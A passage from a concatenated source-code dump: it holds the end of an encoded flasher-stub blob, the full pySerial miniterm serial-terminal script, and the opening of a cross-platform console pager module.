7zRGxs1lUDlIkt14gyzfhggNsYXB2BCkkvkQdUqFownnplvejk5lYiHgnizZEIYrJeMlyYRWxUMrNsxJZzfYbHAOl3KZtVj3jNXNSCzL72yRUonC1KxXVO0D1IBIsao4jIo4+4qcPQqi+wDq1OITlMyCl4bJN9+T\
dnSSvwxvBBt1B15v96ngZ30RbZf8i2P94kWKZNy8oEQR71Al9MpH2prRhy7ffkVKDHOgvoCxLdytiQGjH/qeuh96LR9VlsMgTqll/Or7hN9LIKKqxlxJwJ7a93QSpZ1DKD5Ziq56ebQojy7BkMYhFvoNifUh1j36\
zZJFr8chDSLFWBMowPAHHwnYdRGGKqvgelUXp7aDuEKXTwfeX5fkz2/CCrilZc3DjMJwYuA9Wc0BLk/AalE3CPYBuYAdhh2VlgIcgsy8BU8LAmsUF7Qb8hJcm8SXrpKBXlKxbk2lN+fnoojkeA5WQZg65XmAjxbe\
qVGoCA48eCr/Cl2KfUitXyL6NA7nKePRkJ02TULTkClMpoB6Pf6dI3R8G+iWlHLNzojASQ8pAlRCesiaxX0a4FvV+qn4eLRFmSPyOeM3LQT4H46Hxe0qq2e38spYZRsQL9TZDteIS3au0DY75DmlQlGP3z3woJTN\
gTphAF8ay0ndqmyMPbiVZ6XPr6CYml3ffYY/99n8EtTlPRgIltq65qFMqpdMqk9SOTPiEaHMNLatYzbo7tfwrNJlj1EGNW3dqTs4/xY+y/tN2Ka6K4Oxg9cBRG25/ml19xMz0kDvr5St9PxUB1AORmVYQxuWWcXv\
Ub0kj4ZSNyDBSh9XHKtilYNO9jdgORDZmF8lAiBDayrolUCj4ffBGl6DasO1OpiLYMjRQw1w3PD7KHZgTehj2BUrRzVRhy8ywuI2vP7g61bJIB+Vnolhm7/EjPrMMRZkbOU9CNfeUbwx6THwuONAqbyjciZoA5ai\
vS+b7PwIUvpWxHsO4Vq/jUS8khvLO/mKK/C+bufHKddDO//uNzqnl5AatfjTGgjSraDgxzUKrn9b7QTFrHDV1YTtFUvPXBS/+TOcu1qd0DHQSVJQRYBFoS8svF5DoOgmv7NBsIbSMo4XHe6yPRtdTeZYpQgv/U1B\
EgaWgrrY8so/8giUUivbvJMaWhzjY5gCZZt8yo8xvbmDG16Ct3kDOz9lB0KY7AMeLF4NrvGBE/ObOT9xqnLuIWkU18ZerPEPVrznW/F/eON1tSh6+QA+lxeYRlSSQ7y5goNQLbMNSDG69yEUlIeaSo+jYM5czRZe\
MefbQPkHXK550wpfnau4FEbTYNdnnlhU8xSi/Om/aOX6RzDvJnzGsc1oypaJYZvNAqsxjojDWPQN+RcqENIpWxxpjbdSbpWh1j54uVU7j+Qs2MamXDDFBXHU31qMaqr4H8pw7j5X+KLr+RPaLwSi/jLNYGkaCAnL\
ecmQXaO9BP/h7+ffFvUt/NufVpMir3JljBvpbha3n31nUUwy19nWi5r/PzCq2o94JN4on+RlqbM//gt1kVkF\
""")))
def _main():
try:
main()
except FatalError as e:
print('\nA fatal error occurred: %s' % e)
sys.exit(2)
if __name__ == '__main__':
_main()
================================================
FILE: scripts/miniterm.py
================================================
#!/usr/bin/env python
#
# Very simple serial terminal
#
# This file is part of pySerial. https://github.com/pyserial/pyserial
# (C)2002-2020 Chris Liechti
#
# SPDX-License-Identifier: BSD-3-Clause
from __future__ import absolute_import
import codecs
import os
import sys
import threading
import serial
from serial.tools.list_ports import comports
from serial.tools import hexlify_codec
# pylint: disable=wrong-import-order,wrong-import-position
codecs.register(lambda c: hexlify_codec.getregentry() if c == 'hexlify' else None)
try:
raw_input
except NameError:
# pylint: disable=redefined-builtin,invalid-name
raw_input = input # in python3 it's "raw"
unichr = chr
def key_description(character):
"""generate a readable description for a key"""
ascii_code = ord(character)
if ascii_code < 32:
return 'Ctrl+{:c}'.format(ord('@') + ascii_code)
else:
return repr(character)
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
class ConsoleBase(object):
"""OS abstraction for console (input/output codec, no echo)"""
def __init__(self):
if sys.version_info >= (3, 0):
self.byte_output = sys.stdout.buffer
else:
self.byte_output = sys.stdout
self.output = sys.stdout
def setup(self):
"""Set console to read single characters, no echo"""
def cleanup(self):
"""Restore default console settings"""
def getkey(self):
"""Read a single key from the console"""
return None
def write_bytes(self, byte_string):
"""Write bytes (already encoded)"""
self.byte_output.write(byte_string)
self.byte_output.flush()
def write(self, text):
"""Write string"""
self.output.write(text)
self.output.flush()
def cancel(self):
"""Cancel getkey operation"""
# - - - - - - - - - - - - - - - - - - - - - - - -
# context manager:
# switch terminal temporary to normal mode (e.g. to get user input)
def __enter__(self):
self.cleanup()
return self
def __exit__(self, *args, **kwargs):
self.setup()
if os.name == 'nt': # noqa
import msvcrt
import ctypes
import platform
class Out(object):
"""file-like wrapper that uses os.write"""
def __init__(self, fd):
self.fd = fd
def flush(self):
pass
def write(self, s):
os.write(self.fd, s)
class Console(ConsoleBase):
fncodes = {
';': '\x1bOP', # F1
'<': '\x1bOQ', # F2
'=': '\x1bOR', # F3
'>': '\x1bOS', # F4
'?': '\x1b[15~', # F5
'@': '\x1b[17~', # F6
'A': '\x1b[18~', # F7
'B': '\x1b[19~', # F8
'C': '\x1b[20~', # F9
'D': '\x1b[21~', # F10
}
navcodes = {
'H': '\x1b[A', # UP
'P': '\x1b[B', # DOWN
'K': '\x1b[D', # LEFT
'M': '\x1b[C', # RIGHT
'G': '\x1b[H', # HOME
'O': '\x1b[F', # END
'R': '\x1b[2~', # INSERT
'S': '\x1b[3~', # DELETE
'I': '\x1b[5~', # PGUP
'Q': '\x1b[6~', # PGDN
}
def __init__(self):
super(Console, self).__init__()
self._saved_ocp = ctypes.windll.kernel32.GetConsoleOutputCP()
self._saved_icp = ctypes.windll.kernel32.GetConsoleCP()
ctypes.windll.kernel32.SetConsoleOutputCP(65001)
ctypes.windll.kernel32.SetConsoleCP(65001)
# ANSI handling available through SetConsoleMode since Windows 10 v1511
# https://en.wikipedia.org/wiki/ANSI_escape_code#cite_note-win10th2-1
if platform.release() == '10' and int(platform.version().split('.')[2]) > 10586:
ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004
import ctypes.wintypes as wintypes
if not hasattr(wintypes, 'LPDWORD'): # PY2
wintypes.LPDWORD = ctypes.POINTER(wintypes.DWORD)
SetConsoleMode = ctypes.windll.kernel32.SetConsoleMode
GetConsoleMode = ctypes.windll.kernel32.GetConsoleMode
GetStdHandle = ctypes.windll.kernel32.GetStdHandle
mode = wintypes.DWORD()
GetConsoleMode(GetStdHandle(-11), ctypes.byref(mode))
if (mode.value & ENABLE_VIRTUAL_TERMINAL_PROCESSING) == 0:
SetConsoleMode(GetStdHandle(-11), mode.value | ENABLE_VIRTUAL_TERMINAL_PROCESSING)
self._saved_cm = mode
self.output = codecs.getwriter('UTF-8')(Out(sys.stdout.fileno()), 'replace')
# the change of the code page is not propagated to Python, manually fix it
sys.stderr = codecs.getwriter('UTF-8')(Out(sys.stderr.fileno()), 'replace')
sys.stdout = self.output
self.output.encoding = 'UTF-8' # needed for input
def __del__(self):
ctypes.windll.kernel32.SetConsoleOutputCP(self._saved_ocp)
ctypes.windll.kernel32.SetConsoleCP(self._saved_icp)
try:
ctypes.windll.kernel32.SetConsoleMode(ctypes.windll.kernel32.GetStdHandle(-11), self._saved_cm)
except AttributeError: # in case no _saved_cm
pass
def getkey(self):
while True:
z = msvcrt.getwch()
if z == unichr(13):
return unichr(10)
elif z is unichr(0) or z is unichr(0xe0):
try:
code = msvcrt.getwch()
if z is unichr(0):
return self.fncodes[code]
else:
return self.navcodes[code]
except KeyError:
pass
else:
return z
def cancel(self):
# CancelIo, CancelSynchronousIo do not seem to work when using
# getwch, so instead, send a key to the window with the console
hwnd = ctypes.windll.kernel32.GetConsoleWindow()
ctypes.windll.user32.PostMessageA(hwnd, 0x100, 0x0d, 0)
elif os.name == 'posix':
import atexit
import termios
import fcntl
class Console(ConsoleBase):
def __init__(self):
super(Console, self).__init__()
self.fd = sys.stdin.fileno()
self.old = termios.tcgetattr(self.fd)
atexit.register(self.cleanup)
if sys.version_info < (3, 0):
self.enc_stdin = codecs.getreader(sys.stdin.encoding)(sys.stdin)
else:
self.enc_stdin = sys.stdin
def setup(self):
new = termios.tcgetattr(self.fd)
new[3] = new[3] & ~termios.ICANON & ~termios.ECHO & ~termios.ISIG
new[6][termios.VMIN] = 1
new[6][termios.VTIME] = 0
termios.tcsetattr(self.fd, termios.TCSANOW, new)
def getkey(self):
c = self.enc_stdin.read(1)
if c == unichr(0x7f):
c = unichr(8) # map the BS key (which yields DEL) to backspace
return c
def cancel(self):
fcntl.ioctl(self.fd, termios.TIOCSTI, b'\0')
def cleanup(self):
termios.tcsetattr(self.fd, termios.TCSAFLUSH, self.old)
else:
raise NotImplementedError(
'Sorry no implementation for your platform ({}) available.'.format(sys.platform))
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
class Transform(object):
"""do-nothing: forward all data unchanged"""
def rx(self, text):
"""text received from serial port"""
return text
def tx(self, text):
"""text to be sent to serial port"""
return text
def echo(self, text):
"""text to be sent but displayed on console"""
return text
class CRLF(Transform):
"""ENTER sends CR+LF"""
def tx(self, text):
return text.replace('\n', '\r\n')
class CR(Transform):
"""ENTER sends CR"""
def rx(self, text):
return text.replace('\r', '\n')
def tx(self, text):
return text.replace('\n', '\r')
class LF(Transform):
"""ENTER sends LF"""
class NoTerminal(Transform):
"""remove typical terminal control codes from input"""
REPLACEMENT_MAP = dict((x, 0x2400 + x) for x in range(32) if unichr(x) not in '\r\n\b\t')
REPLACEMENT_MAP.update(
{
0x7F: 0x2421, # DEL
0x9B: 0x2425, # CSI
})
def rx(self, text):
return text.translate(self.REPLACEMENT_MAP)
echo = rx
class NoControls(NoTerminal):
"""Remove all control codes, incl. CR+LF"""
REPLACEMENT_MAP = dict((x, 0x2400 + x) for x in range(32))
REPLACEMENT_MAP.update(
{
0x20: 0x2423, # visual space
0x7F: 0x2421, # DEL
0x9B: 0x2425, # CSI
})
class Printable(Transform):
"""Show decimal code for all non-ASCII characters and replace most control codes"""
def rx(self, text):
r = []
for c in text:
if ' ' <= c < '\x7f' or c in '\r\n\b\t':
r.append(c)
elif c < ' ':
r.append(unichr(0x2400 + ord(c)))
else:
r.extend(unichr(0x2080 + ord(d) - 48) for d in '{:d}'.format(ord(c)))
r.append(' ')
return ''.join(r)
echo = rx
class Colorize(Transform):
"""Apply different colors for received and echo"""
def __init__(self):
# XXX make it configurable, use colorama?
self.input_color = '\x1b[37m'
self.echo_color = '\x1b[31m'
def rx(self, text):
return self.input_color + text
def echo(self, text):
return self.echo_color + text
class DebugIO(Transform):
"""Print what is sent and received"""
def rx(self, text):
sys.stderr.write(' [RX:{!r}] '.format(text))
sys.stderr.flush()
return text
def tx(self, text):
sys.stderr.write(' [TX:{!r}] '.format(text))
sys.stderr.flush()
return text
# other ideas:
# - add date/time for each newline
# - insert newline after: a) timeout b) packet end character
EOL_TRANSFORMATIONS = {
'crlf': CRLF,
'cr': CR,
'lf': LF,
}
TRANSFORMATIONS = {
'direct': Transform, # no transformation
'default': NoTerminal,
'nocontrol': NoControls,
'printable': Printable,
'colorize': Colorize,
'debug': DebugIO,
}
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
def ask_for_port():
"""\
Show a list of ports and ask the user for a choice. To make selection
easier on systems with long device names, also allow the input of an
index.
"""
sys.stderr.write('\n--- Available ports:\n')
ports = []
for n, (port, desc, hwid) in enumerate(sorted(comports()), 1):
sys.stderr.write('--- {:2}: {:20} {!r}\n'.format(n, port, desc))
ports.append(port)
while True:
port = raw_input('--- Enter port index or full name: ')
try:
index = int(port) - 1
if not 0 <= index < len(ports):
sys.stderr.write('--- Invalid index!\n')
continue
except ValueError:
pass
else:
port = ports[index]
return port
class Miniterm(object):
"""\
Terminal application. Copy data from serial port to console and vice versa.
Handle special keys from the console to show menu etc.
"""
def __init__(self, serial_instance, echo=False, eol='crlf', filters=()):
self.console = Console()
self.serial = serial_instance
self.echo = echo
self.raw = False
self.input_encoding = 'UTF-8'
self.output_encoding = 'UTF-8'
self.eol = eol
self.filters = filters
self.update_transformations()
self.exit_character = unichr(0x1d) # GS/CTRL+]
self.menu_character = unichr(0x14) # Menu: CTRL+T
self.alive = None
self._reader_alive = None
self.receiver_thread = None
self.rx_decoder = None
self.tx_decoder = None
def _start_reader(self):
"""Start reader thread"""
self._reader_alive = True
# start serial->console thread
self.receiver_thread = threading.Thread(target=self.reader, name='rx')
self.receiver_thread.daemon = True
self.receiver_thread.start()
def _stop_reader(self):
"""Stop reader thread only, wait for clean exit of thread"""
self._reader_alive = False
if hasattr(self.serial, 'cancel_read'):
self.serial.cancel_read()
self.receiver_thread.join()
def start(self):
"""start worker threads"""
self.alive = True
self._start_reader()
# enter console->serial loop
self.transmitter_thread = threading.Thread(target=self.writer, name='tx')
self.transmitter_thread.daemon = True
self.transmitter_thread.start()
self.console.setup()
def stop(self):
"""set flag to stop worker threads"""
self.alive = False
def join(self, transmit_only=False):
"""wait for worker threads to terminate"""
self.transmitter_thread.join()
if not transmit_only:
if hasattr(self.serial, 'cancel_read'):
self.serial.cancel_read()
self.receiver_thread.join()
def close(self):
self.serial.close()
def update_transformations(self):
"""take list of transformation classes and instantiate them for rx and tx"""
transformations = [EOL_TRANSFORMATIONS[self.eol]] + [TRANSFORMATIONS[f]
for f in self.filters]
self.tx_transformations = [t() for t in transformations]
self.rx_transformations = list(reversed(self.tx_transformations))
def set_rx_encoding(self, encoding, errors='replace'):
"""set encoding for received data"""
self.input_encoding = encoding
self.rx_decoder = codecs.getincrementaldecoder(encoding)(errors)
def set_tx_encoding(self, encoding, errors='replace'):
"""set encoding for transmitted data"""
self.output_encoding = encoding
self.tx_encoder = codecs.getincrementalencoder(encoding)(errors)
def dump_port_settings(self):
"""Write current settings to sys.stderr"""
sys.stderr.write("\n--- Settings: {p.name} {p.baudrate},{p.bytesize},{p.parity},{p.stopbits}\n".format(
p=self.serial))
sys.stderr.write('--- RTS: {:8} DTR: {:8} BREAK: {:8}\n'.format(
('active' if self.serial.rts else 'inactive'),
('active' if self.serial.dtr else 'inactive'),
('active' if self.serial.break_condition else 'inactive')))
try:
sys.stderr.write('--- CTS: {:8} DSR: {:8} RI: {:8} CD: {:8}\n'.format(
('active' if self.serial.cts else 'inactive'),
('active' if self.serial.dsr else 'inactive'),
('active' if self.serial.ri else 'inactive'),
('active' if self.serial.cd else 'inactive')))
except serial.SerialException:
# on RFC 2217 ports, it can happen if no modem state notification was
# yet received. ignore this error.
pass
sys.stderr.write('--- software flow control: {}\n'.format('active' if self.serial.xonxoff else 'inactive'))
sys.stderr.write('--- hardware flow control: {}\n'.format('active' if self.serial.rtscts else 'inactive'))
sys.stderr.write('--- serial input encoding: {}\n'.format(self.input_encoding))
sys.stderr.write('--- serial output encoding: {}\n'.format(self.output_encoding))
sys.stderr.write('--- EOL: {}\n'.format(self.eol.upper()))
sys.stderr.write('--- filters: {}\n'.format(' '.join(self.filters)))
def reader(self):
"""loop and copy serial->console"""
try:
while self.alive and self._reader_alive:
# read all that is there or wait for one byte
data = self.serial.read(self.serial.in_waiting or 1)
if data:
if self.raw:
self.console.write_bytes(data)
else:
text = self.rx_decoder.decode(data)
for transformation in self.rx_transformations:
text = transformation.rx(text)
self.console.write(text)
except serial.SerialException:
self.alive = False
self.console.cancel()
raise # XXX handle instead of re-raise?
def writer(self):
"""\
Loop and copy console->serial until self.exit_character character is
found. When self.menu_character is found, interpret the next key
locally.
"""
menu_active = False
try:
while self.alive:
try:
c = self.console.getkey()
except KeyboardInterrupt:
c = '\x03'
if not self.alive:
break
if menu_active:
self.handle_menu_key(c)
menu_active = False
elif c == self.menu_character:
menu_active = True # next char will be for menu
elif c == self.exit_character:
self.stop() # exit app
break
else:
#~ if self.raw:
text = c
for transformation in self.tx_transformations:
text = transformation.tx(text)
self.serial.write(self.tx_encoder.encode(text))
if self.echo:
echo_text = c
for transformation in self.tx_transformations:
echo_text = transformation.echo(echo_text)
self.console.write(echo_text)
except:
self.alive = False
raise
def handle_menu_key(self, c):
"""Implement a simple menu / settings"""
if c == self.menu_character or c == self.exit_character:
# Menu/exit character again -> send itself
self.serial.write(self.tx_encoder.encode(c))
if self.echo:
self.console.write(c)
elif c == '\x15': # CTRL+U -> upload file
self.upload_file()
elif c in '\x08hH?': # CTRL+H, h, H, ? -> Show help
sys.stderr.write(self.get_help_text())
elif c == '\x12': # CTRL+R -> Toggle RTS
self.serial.rts = not self.serial.rts
sys.stderr.write('--- RTS {} ---\n'.format('active' if self.serial.rts else 'inactive'))
elif c == '\x04': # CTRL+D -> Toggle DTR
self.serial.dtr = not self.serial.dtr
sys.stderr.write('--- DTR {} ---\n'.format('active' if self.serial.dtr else 'inactive'))
elif c == '\x02': # CTRL+B -> toggle BREAK condition
self.serial.break_condition = not self.serial.break_condition
sys.stderr.write('--- BREAK {} ---\n'.format('active' if self.serial.break_condition else 'inactive'))
elif c == '\x05': # CTRL+E -> toggle local echo
self.echo = not self.echo
sys.stderr.write('--- local echo {} ---\n'.format('active' if self.echo else 'inactive'))
elif c == '\x06': # CTRL+F -> edit filters
self.change_filter()
elif c == '\x0c': # CTRL+L -> EOL mode
modes = list(EOL_TRANSFORMATIONS) # keys
eol = modes.index(self.eol) + 1
if eol >= len(modes):
eol = 0
self.eol = modes[eol]
sys.stderr.write('--- EOL: {} ---\n'.format(self.eol.upper()))
self.update_transformations()
elif c == '\x01': # CTRL+A -> set encoding
self.change_encoding()
elif c == '\x09': # CTRL+I -> info
self.dump_port_settings()
#~ elif c == '\x01': # CTRL+A -> cycle escape mode
#~ elif c == '\x0c': # CTRL+L -> cycle linefeed mode
elif c in 'pP': # P -> change port
self.change_port()
elif c in 'zZ': # S -> suspend / open port temporarily
self.suspend_port()
elif c in 'bB': # B -> change baudrate
self.change_baudrate()
elif c == '8': # 8 -> change to 8 bits
self.serial.bytesize = serial.EIGHTBITS
self.dump_port_settings()
elif c == '7': # 7 -> change to 8 bits
self.serial.bytesize = serial.SEVENBITS
self.dump_port_settings()
elif c in 'eE': # E -> change to even parity
self.serial.parity = serial.PARITY_EVEN
self.dump_port_settings()
elif c in 'oO': # O -> change to odd parity
self.serial.parity = serial.PARITY_ODD
self.dump_port_settings()
elif c in 'mM': # M -> change to mark parity
self.serial.parity = serial.PARITY_MARK
self.dump_port_settings()
elif c in 'sS': # S -> change to space parity
self.serial.parity = serial.PARITY_SPACE
self.dump_port_settings()
elif c in 'nN': # N -> change to no parity
self.serial.parity = serial.PARITY_NONE
self.dump_port_settings()
elif c == '1': # 1 -> change to 1 stop bits
self.serial.stopbits = serial.STOPBITS_ONE
self.dump_port_settings()
elif c == '2': # 2 -> change to 2 stop bits
self.serial.stopbits = serial.STOPBITS_TWO
self.dump_port_settings()
elif c == '3': # 3 -> change to 1.5 stop bits
self.serial.stopbits = serial.STOPBITS_ONE_POINT_FIVE
self.dump_port_settings()
elif c in 'xX': # X -> change software flow control
self.serial.xonxoff = (c == 'X')
self.dump_port_settings()
elif c in 'rR': # R -> change hardware flow control
self.serial.rtscts = (c == 'R')
self.dump_port_settings()
elif c in 'qQ':
self.stop() # Q -> exit app
else:
sys.stderr.write('--- unknown menu character {} --\n'.format(key_description(c)))
def upload_file(self):
"""Ask user for filename and send its contents"""
sys.stderr.write('\n--- File to upload: ')
sys.stderr.flush()
with self.console:
filename = sys.stdin.readline().rstrip('\r\n')
if filename:
try:
with open(filename, 'rb') as f:
sys.stderr.write('--- Sending file {} ---\n'.format(filename))
while True:
block = f.read(1024)
if not block:
break
self.serial.write(block)
# Wait for output buffer to drain.
self.serial.flush()
sys.stderr.write('.') # Progress indicator.
sys.stderr.write('\n--- File {} sent ---\n'.format(filename))
except IOError as e:
sys.stderr.write('--- ERROR opening file {}: {} ---\n'.format(filename, e))
def change_filter(self):
"""change the i/o transformations"""
sys.stderr.write('\n--- Available Filters:\n')
sys.stderr.write('\n'.join(
'--- {:<10} = {.__doc__}'.format(k, v)
for k, v in sorted(TRANSFORMATIONS.items())))
sys.stderr.write('\n--- Enter new filter name(s) [{}]: '.format(' '.join(self.filters)))
with self.console:
new_filters = sys.stdin.readline().lower().split()
if new_filters:
for f in new_filters:
if f not in TRANSFORMATIONS:
sys.stderr.write('--- unknown filter: {!r}\n'.format(f))
break
else:
self.filters = new_filters
self.update_transformations()
sys.stderr.write('--- filters: {}\n'.format(' '.join(self.filters)))
def change_encoding(self):
"""change encoding on the serial port"""
sys.stderr.write('\n--- Enter new encoding name [{}]: '.format(self.input_encoding))
with self.console:
new_encoding = sys.stdin.readline().strip()
if new_encoding:
try:
codecs.lookup(new_encoding)
except LookupError:
sys.stderr.write('--- invalid encoding name: {}\n'.format(new_encoding))
else:
self.set_rx_encoding(new_encoding)
self.set_tx_encoding(new_encoding)
sys.stderr.write('--- serial input encoding: {}\n'.format(self.input_encoding))
sys.stderr.write('--- serial output encoding: {}\n'.format(self.output_encoding))
def change_baudrate(self):
"""change the baudrate"""
sys.stderr.write('\n--- Baudrate: ')
sys.stderr.flush()
with self.console:
backup = self.serial.baudrate
try:
self.serial.baudrate = int(sys.stdin.readline().strip())
except ValueError as e:
sys.stderr.write('--- ERROR setting baudrate: {} ---\n'.format(e))
self.serial.baudrate = backup
else:
self.dump_port_settings()
def change_port(self):
"""Have a conversation with the user to change the serial port"""
with self.console:
try:
port = ask_for_port()
except KeyboardInterrupt:
port = None
if port and port != self.serial.port:
# reader thread needs to be shut down
self._stop_reader()
# save settings
settings = self.serial.getSettingsDict()
try:
new_serial = serial.serial_for_url(port, do_not_open=True)
# restore settings and open
new_serial.applySettingsDict(settings)
new_serial.rts = self.serial.rts
new_serial.dtr = self.serial.dtr
new_serial.open()
new_serial.break_condition = self.serial.break_condition
except Exception as e:
sys.stderr.write('--- ERROR opening new port: {} ---\n'.format(e))
new_serial.close()
else:
self.serial.close()
self.serial = new_serial
sys.stderr.write('--- Port changed to: {} ---\n'.format(self.serial.port))
# and restart the reader thread
self._start_reader()
def suspend_port(self):
"""\
open port temporarily, allow reconnect, exit and port change to get
out of the loop
"""
# reader thread needs to be shut down
self._stop_reader()
self.serial.close()
sys.stderr.write('\n--- Port closed: {} ---\n'.format(self.serial.port))
do_change_port = False
while not self.serial.is_open:
sys.stderr.write('--- Quit: {exit} | p: port change | any other key to reconnect ---\n'.format(
exit=key_description(self.exit_character)))
k = self.console.getkey()
if k == self.exit_character:
self.stop() # exit app
break
elif k in 'pP':
do_change_port = True
break
try:
self.serial.open()
except Exception as e:
sys.stderr.write('--- ERROR opening port: {} ---\n'.format(e))
if do_change_port:
self.change_port()
else:
# and restart the reader thread
self._start_reader()
sys.stderr.write('--- Port opened: {} ---\n'.format(self.serial.port))
def get_help_text(self):
"""return the help text"""
# help text, starts with blank line!
return """
--- pySerial ({version}) - miniterm - help
---
--- {exit:8} Exit program (alias {menu} Q)
--- {menu:8} Menu escape key, followed by:
--- Menu keys:
--- {menu:7} Send the menu character itself to remote
--- {exit:7} Send the exit character itself to remote
--- {info:7} Show info
--- {upload:7} Upload file (prompt will be shown)
--- {repr:7} encoding
--- {filter:7} edit filters
--- Toggles:
--- {rts:7} RTS {dtr:7} DTR {brk:7} BREAK
--- {echo:7} echo {eol:7} EOL
---
--- Port settings ({menu} followed by the following):
--- p change port
--- 7 8 set data bits
--- N E O S M change parity (None, Even, Odd, Space, Mark)
--- 1 2 3 set stop bits (1, 2, 1.5)
--- b change baud rate
--- x X disable/enable software flow control
--- r R disable/enable hardware flow control
""".format(version=getattr(serial, 'VERSION', 'unknown version'),
exit=key_description(self.exit_character),
menu=key_description(self.menu_character),
rts=key_description('\x12'),
dtr=key_description('\x04'),
brk=key_description('\x02'),
echo=key_description('\x05'),
info=key_description('\x09'),
upload=key_description('\x15'),
repr=key_description('\x01'),
filter=key_description('\x06'),
eol=key_description('\x0c'))
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# default args can be used to override when calling main() from an other script
# e.g to create a miniterm-my-device.py
def main(default_port=None, default_baudrate=9600, default_rts=None, default_dtr=None, serial_instance=None):
"""Command line tool, entry point"""
import argparse
parser = argparse.ArgumentParser(
description='Miniterm - A simple terminal program for the serial port.')
parser.add_argument(
'port',
nargs='?',
help='serial port name ("-" to show port list)',
default=default_port)
parser.add_argument(
'baudrate',
nargs='?',
type=int,
help='set baud rate, default: %(default)s',
default=default_baudrate)
group = parser.add_argument_group('port settings')
group.add_argument(
'--parity',
choices=['N', 'E', 'O', 'S', 'M'],
type=lambda c: c.upper(),
help='set parity, one of {N E O S M}, default: N',
default='N')
group.add_argument(
'--rtscts',
action='store_true',
help='enable RTS/CTS flow control (default off)',
default=False)
group.add_argument(
'--xonxoff',
action='store_true',
help='enable software flow control (default off)',
default=False)
group.add_argument(
'--rts',
type=int,
help='set initial RTS line state (possible values: 0, 1)',
default=default_rts)
group.add_argument(
'--dtr',
type=int,
help='set initial DTR line state (possible values: 0, 1)',
default=default_dtr)
group.add_argument(
'--non-exclusive',
dest='exclusive',
action='store_false',
help='disable locking for native ports',
default=True)
group.add_argument(
'--ask',
action='store_true',
help='ask again for port when open fails',
default=False)
group = parser.add_argument_group('data handling')
group.add_argument(
'-e', '--echo',
action='store_true',
help='enable local echo (default off)',
default=False)
group.add_argument(
'--encoding',
dest='serial_port_encoding',
metavar='CODEC',
help='set the encoding for the serial port (e.g. hexlify, Latin1, UTF-8), default: %(default)s',
default='UTF-8')
group.add_argument(
'-f', '--filter',
action='append',
metavar='NAME',
help='add text transformation',
default=[])
group.add_argument(
'--eol',
choices=['CR', 'LF', 'CRLF'],
type=lambda c: c.upper(),
help='end of line mode',
default='CRLF')
group.add_argument(
'--raw',
action='store_true',
help='Do no apply any encodings/transformations',
default=False)
group = parser.add_argument_group('hotkeys')
group.add_argument(
'--exit-char',
type=int,
metavar='NUM',
help='Unicode of special character that is used to exit the application, default: %(default)s',
default=0x1d) # GS/CTRL+]
group.add_argument(
'--menu-char',
type=int,
metavar='NUM',
help='Unicode code of special character that is used to control miniterm (menu), default: %(default)s',
default=0x14) # Menu: CTRL+T
group = parser.add_argument_group('diagnostics')
group.add_argument(
'-q', '--quiet',
action='store_true',
help='suppress non-error messages',
default=False)
group.add_argument(
'--develop',
action='store_true',
help='show Python traceback on error',
default=False)
args = parser.parse_args()
if args.menu_char == args.exit_char:
parser.error('--exit-char can not be the same as --menu-char')
if args.filter:
if 'help' in args.filter:
sys.stderr.write('Available filters:\n')
sys.stderr.write('\n'.join(
'{:<10} = {.__doc__}'.format(k, v)
for k, v in sorted(TRANSFORMATIONS.items())))
sys.stderr.write('\n')
sys.exit(1)
filters = args.filter
else:
filters = ['default']
while serial_instance is None:
# no port given on command line -> ask user now
if args.port is None or args.port == '-':
try:
args.port = ask_for_port()
except KeyboardInterrupt:
sys.stderr.write('\n')
parser.error('user aborted and port is not given')
else:
if not args.port:
parser.error('port is not given')
try:
serial_instance = serial.serial_for_url(
args.port,
args.baudrate,
parity=args.parity,
rtscts=args.rtscts,
xonxoff=args.xonxoff,
do_not_open=True)
if not hasattr(serial_instance, 'cancel_read'):
# enable timeout for alive flag polling if cancel_read is not available
serial_instance.timeout = 1
if args.dtr is not None:
if not args.quiet:
sys.stderr.write('--- forcing DTR {}\n'.format('active' if args.dtr else 'inactive'))
serial_instance.dtr = args.dtr
if args.rts is not None:
if not args.quiet:
sys.stderr.write('--- forcing RTS {}\n'.format('active' if args.rts else 'inactive'))
serial_instance.rts = args.rts
if isinstance(serial_instance, serial.Serial):
serial_instance.exclusive = args.exclusive
serial_instance.open()
except serial.SerialException as e:
sys.stderr.write('could not open port {!r}: {}\n'.format(args.port, e))
if args.develop:
raise
if not args.ask:
sys.exit(1)
else:
args.port = '-'
else:
break
miniterm = Miniterm(
serial_instance,
echo=args.echo,
eol=args.eol.lower(),
filters=filters)
miniterm.exit_character = unichr(args.exit_char)
miniterm.menu_character = unichr(args.menu_char)
miniterm.raw = args.raw
miniterm.set_rx_encoding(args.serial_port_encoding)
miniterm.set_tx_encoding(args.serial_port_encoding)
if not args.quiet:
sys.stderr.write('--- Miniterm on {p.name} {p.baudrate},{p.bytesize},{p.parity},{p.stopbits} ---\n'.format(
p=miniterm.serial))
sys.stderr.write('--- Quit: {} | Menu: {} | Help: {} followed by {} ---\n'.format(
key_description(miniterm.exit_character),
key_description(miniterm.menu_character),
key_description(miniterm.menu_character),
key_description('\x08')))
miniterm.start()
try:
miniterm.join(True)
except KeyboardInterrupt:
pass
if not args.quiet:
sys.stderr.write('\n--- exit ---\n')
miniterm.join()
miniterm.close()
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
if __name__ == '__main__':
main()
================================================
FILE: scripts/pager.py
================================================
#!/usr/bin/env python
"""
Page output and find dimensions of console.
This module deals with paging on Linux terminals and Windows consoles in
a cross-platform way. The major difference for paging here is line ends.
Not line end characters, but the console behavior when the last character
on a line is printed. To get technical details, run this module without
parameters::
python pager.py
Author: anatoly techtonik
License: Public Domain (use MIT if the former doesn't work for you)
"""
__version__ = '3.3'
import os,sys
WINDOWS = os.name == 'nt'
PY3K = sys.version_info >= (3,)
# Windows constants
# http://msdn.microsoft.com/en-us/library/ms683231%28v=VS.85%29.aspx
STD_INPUT_HANDLE = -10
STD_OUTPUT_HANDLE = -11
STD_ERROR_HANDLE = -12
# --- console/window operations ---
if WINDOWS:
# get console handle
from ctypes import windll, Structure, byref
try:
from ctypes.wintypes import SHORT, WORD, DWORD
# workaround for missing types in Python 2.5
except ImportError:
from ctypes import (
c_short as SHORT, c_ushort as WORD, c_ulong as DWORD)
